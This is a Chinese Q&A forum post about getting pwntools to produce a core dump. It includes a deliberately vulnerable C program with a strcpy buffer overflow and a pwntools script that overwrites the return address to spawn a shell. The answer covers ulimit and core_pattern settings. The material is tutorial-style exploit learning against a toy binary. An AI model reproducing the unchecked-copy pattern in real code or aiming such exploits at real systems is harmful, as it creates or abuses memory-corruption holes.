Pwntools 无法创建核心文件

Pwntools 无法创建核心文件

我正在尝试使用pwntools我正在学习这个教程创建核心文件以自动化利用

代码。/碰撞可执行文件是:

#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}

之后,ulimit -c unlimited如果我以足够大的输入运行可执行文件(从 bash),它就会崩溃并生成核心文件。

使用 pwntools:

from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)

如果我使用相同的大输入运行此脚本(从 bash,从我的用户和从 root 运行),它将崩溃,但不会生成核心文件。

我也尝试编辑该/etc/sysctl.conf文件并设置fs.suid_dumpable = 1

我的操作系统是 Ubuntu 16.04.3 LTS x64,带有 4.4.0-89-generic 内核。

答案1

您还没有向我们展示如何告诉操作系统处理核心转储。

最大大小通过以下方式配置ulimit -c $MAXSIZEINBLOCKS(请注意,ulimit 具有软值和硬值)。$MAXSIZEINBLOCKS 应该是一个整数或字符串“unlimited”

你还需要告诉操作系统将核心转储放在哪里 - 这是通过系统控制例如sysctl -w kernel.core_pattern=/var/crash/core.%p.%u.%e

了解可以从任何正在运行的进程(如果权限允许)获取核心转储可能会有所帮助核心数

相关内容